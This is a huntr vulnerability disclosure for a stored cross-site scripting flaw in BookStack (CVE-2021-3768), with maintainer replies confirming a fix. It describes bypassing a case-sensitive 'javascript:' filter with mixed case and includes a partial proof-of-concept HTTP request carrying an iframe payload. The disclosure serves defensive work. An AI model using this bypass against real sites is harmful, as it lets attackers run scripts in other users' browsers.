huntr

Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack

0

✓ Valid Reported on Sep 1st 2021

Description

There is html tag filtration problem in "book page" egit leading to stored XSS.
By design "bad" tags and attributes stripped on client side when editing page(obvious bypass by editing request intercepted via burp) and on server side addition filter applied, however this filter can be also bypassed.

Proof of Concept

There is a number of html tags in white list which can be used to obtain stored XSS. As example: by using tag <a> or <iframe> attacker can exec js code by adding `href=javascript:<scomecode>` , but `javascript:` will be filtered on server side. Unfortunately it can be bypassed by using camel-case: `JavAScRipT:`
Request example:

```
POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

_token=<TOKEN>&_method=PUT&summary=&name=test&html=<p><iframe+src%3d"JavaSc
```

Impact

Stored XSS

Recommendation

Use case insensitive functions to locate potential "bad" html attributes.

Occurrences

HtmlContentFilter.php L31

CustomValidationServiceProvider.php L23

CVE
CVE-2021-3768
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Medium (5.4)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

wezery
@wezery
unranked

This report was seen 448 times.

We have contacted a member of the **bookstackapp/bookstack** team and are waiting to hear back a year ago

A **bookstackapp/bookstack** maintainer a year ago

Maintainer

As per the other issue, Thanks!

A **bookstackapp/bookstack** maintainer validated this vulnerability a year ago

wezery has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **bookstackapp/bookstack** maintainer marked this as fixed with commit **5e6092** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago

Admin

CVE published! 🎉

Sign in to join this conversation